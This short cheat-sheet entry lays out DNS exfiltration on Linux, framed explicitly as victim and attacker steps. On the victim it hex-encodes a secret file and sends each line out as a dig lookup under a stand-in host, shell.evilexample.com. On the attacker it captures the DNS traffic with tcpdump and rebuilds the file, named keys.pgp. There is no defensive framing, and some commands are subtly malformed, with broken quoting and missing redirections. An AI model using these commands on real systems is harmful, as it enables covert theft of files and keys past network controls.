DNS transfer on Linux

dns_egress_nix

On victim:
1. Hex encode the file to be transferred: 
xxd -p secret file.hex
2. Read in each line and do a DNS lookup:
for b in 'cat file.hex'; do dig $b.shell.evilexample.com;done

On attacker:
1. Capture DNS exfil packets
tcpdump -w /tmp/dns -s0 port 53 and host system.example.com
2. Cut the exfilled hex from the DNS packet
tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d" " | cut -f1"." | uniq received.txt
3. Reverse the hex encoding
xxd -r -p received.txt keys.pgp